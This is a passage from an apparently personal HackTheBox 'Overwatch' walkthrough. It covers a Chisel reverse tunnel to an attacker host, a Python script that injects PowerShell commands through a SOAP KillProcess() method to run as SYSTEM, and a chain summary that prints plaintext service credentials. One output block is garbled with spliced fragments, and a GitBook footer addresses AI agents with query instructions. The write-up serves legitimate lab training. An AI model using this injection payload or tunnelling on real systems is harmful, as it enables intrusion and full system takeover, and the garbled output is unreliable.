``` Inside the configuration, the following service definition was present. ``` ``` This revealed that the application hosted a web service at: ``` http://overwatch.htb:8000/MonitorService ``` The configuration also exposed metadata exchange functionality through the `mex` endpoint. ``` ``` Additionally, the service had debugging enabled. ``` ``` This setting causes detailed exception messages to be returned by the application, which can often leak sensitive information during exploitation. The configuration directly matched the functionality we previously observed while reversing the `.NET` binary, where the application exposed methods such as: ``` StartMonitoring() StopMonitoring() KillProcess() ``` After identifying the service endpoint inside the configuration, we manually queried the WSDL definition from the target using PowerShell. ``` *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://overwatch.htb:8000/MonitorService?wsdl" -UseBasicParsing StatusCode : 200 StatusDescription : OK Content : ] 3.67M 768.05KB/skt=2026-05-07T19%3A41%3A35Z[Files: 1 Bytes: 3.67M [605.72KB/s] Redirects: 1 Todo: 0 Errors: 0 ]Jpc3MiOiJnaXRodWIuY29tServing HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...Iiwia2V5Ijoia2V5MSIsImV4cCI6MTc3ODE4MzM2MiwibmJmIjoxNzc4MTgzMDYyLCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZ10.129.52.87 - - [08/May/2026 01:14:57] "GET /chisel.exe HTTP/1.1" 200 -sition=attachment%3B%20filename%3Dchisel_1.10.0_windows_amd64.gz&response-content-type=application%2Foctet-stream] ``` Here: * `wget` downloads the Windows Chisel binary * `gunzip` extracts the compressed file * `mv` renames the binary to `chisel.exe` * `python3 -m http.server 8080` hosts the current directory over HTTP on port `8080` Next, we started a Chisel reverse tunneling server on our attacker machine. ``` ./chisel server -p 9001 --reverse ``` Here: * `server` starts Chisel in server mode * `-p 9001` listens on port `9001` * `--reverse` enables reverse tunneling support The server started successfully. ``` alhamrizvi@alhams-fedora:~/overwatch$ chmod +x chisel alhamrizvi@alhams-fedora:~/overwatch$ cd ~/overwatch ./chisel server -p 9001 --reverse 2026/05/08 01:13:54 server: Reverse tunnelling enabled 2026/05/08 01:13:54 server: Fingerprint 6mS6BCRQU5iaIpvo5inwXWoqaN2fgqLf+nR+cas7IG8= 2026/05/08 01:13:54 server: Listening on http://0.0.0.0:9001 2026/05/08 01:16:04 server: session#1: tun: proxy#R:8000=>8000: Listening ``` From the compromised Windows host, we downloaded the Chisel binary using PowerShell. ``` *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://10.10.15.1:8080/chisel.exe" -OutFile "C:\Users\sqlmgmt\Documents\chisel.exe" C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000 chisel.exe : 2026/05/07 12:45:51 client: Connecting to ws://10.10.15.1:9001 + CategoryInfo : NotSpecified: (2026/05/07 12:4...10.10.15.1:9001:String) [], RemoteException + FullyQualifiedErrorId : NativeCommandError 2026/05/07 12:45:54 client: Connected (Latency 609.9068ms)/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... /usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... /usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... /usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... ``` Here: * `-Uri` specifies the remote file location * `-OutFile` saves the binary locally on the target machine After downloading the binary, we started the Chisel client on the Windows host. ``` C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000 ``` Here: * `client` starts Chisel in client mode * `10.10.15.1:9001` is the attacker server * `R:8000:127.0.0.1:8000` creates a reverse tunnel from our machine's port `8000` to the target's local port `8000` The client connected successfully. ``` client: Connected ``` On the attacker machine, the Chisel server showed that the reverse tunnel was active. ``` proxy#R:8000=>8000: Listening ```

**Exploitation script for Root Flag** After forwarding the internal service locally using Chisel, we created a custom exploit to interact directly with the SOAP API exposed by the monitoring application. The exploit targeted the `KillProcess()` function that we previously identified while reversing the `.NET` binary. ``` import requests import sys ``` ``` TARGET = "http://127.0.0.1:8000/MonitorService" ``` ``` def soap_request(process_name): body = f""" {process_name} """ ``` ``` headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess" } ``` ``` r = requests.post(TARGET, data=body, headers=headers, timeout=10) print(f"[*] Response:\n{r.text}\n") ``` ``` cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami" ``` ``` soap_request(f"x -ErrorAction Ignore; {cmd}; #") ``` The script sends a crafted SOAP request directly to the vulnerable `KillProcess()` endpoint. The target URL was: ``` TARGET = "http://127.0.0.1:8000/MonitorService" ``` Because of the Chisel reverse tunnel, local port `8000` on our attacker machine was forwarded to the internal service running on the Windows target. Inside the exploit, the SOAP XML body manually invokes the vulnerable `KillProcess` method. ``` {process_name} ``` The request is then sent using Python’s `requests.post()` function. ``` r = requests.post(TARGET, data=body, headers=headers, timeout=10) ``` The most important part of the exploit was the payload injection. ``` soap_request(f"x -ErrorAction Ignore; {cmd}; #") ``` Earlier during reverse engineering, we identified that the service internally executed PowerShell commands similar to: ``` Stop-Process -Name -Force ``` The application directly embedded user supplied input into a PowerShell command without sanitization, making it vulnerable to command injection. The payload abused PowerShell command separators using semicolons. ``` x -ErrorAction Ignore; ; # ``` Breaking this down: * `x` acts as a fake process name * `-ErrorAction Ignore` suppresses errors if the process does not exist * `;` terminates the original command * `` executes arbitrary attacker controlled PowerShell commands * `#` comments out the remaining `-Force` argument appended by the application As a result, the final PowerShell command executed by the server became: ``` Stop-Process -Name x -ErrorAction Ignore; whoami; # -Force ``` This successfully transformed the intended process termination functionality into arbitrary command execution on the target system. #### Root.txt ``` alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py [*] Response: nt authority\system alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt" [*] Response: fa3a9c43c1663c72ce8e35af36cb614a ``` After creating the SOAP exploit, we first executed it without arguments in order to verify command execution. ``` python3 exploit.py ``` The application returned the following response. ``` nt authority\system ``` This confirmed that our injected PowerShell command was executed successfully by the service as: ``` NT AUTHORITY\SYSTEM ``` This was extremely important because it showed that the vulnerable monitoring service was running with SYSTEM privileges, meaning every injected command would execute with full administrative access on the machine. Next, we modified the payload in order to read the Administrator flag directly from the filesystem. ``` python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt" ``` Here: * `type` is the Windows equivalent of `cat` * `C:\\Users\\Administrator\\Desktop\\root.txt` points to the administrator flag file * Double backslashes were used because Python interprets `\` as escape characters The server responded with the contents of the file. ``` REDACTED ``` here’s our flag! this took 3.5 hours lol, definitely a challenging machine. here’s a quick summary before we sleep and bye **Box complete! Full attack chain:** **SMB enumeration** → found `software$` share → downloaded `overwatch.exe` **Decompiled .NET assembly** → discovered SQL credentials:\ `sqlsvc:TI0LKcfHzZw1Vv`\ and MSSQL running on non-standard port `6520` **Connected to MSSQL** → discovered linked server `SQL07` with self-mapping enabled **ADIDNS poisoning** → redirected `SQL07` to attacker machine → Responder captured cleartext credentials:\ `sqlmgmt:bIhBbzMMnB82yx` **evil-winrm** shell as `sqlmgmt` → obtained user flag **Chisel reverse tunnel** → forwarded internal WCF service running on port `8000` **SOAP injection** through `KillProcess()` → PowerShell command injection as `nt authority\system` → obtained root flag Really fun machine honestly, chaining ADIDNS poisoning, MSSQL linked servers, WCF SOAP abuse, and PowerShell injection together was pretty satisfying. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/overwatch-htb-hackthebox-walkthrough-or-by-alham-rizvi.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.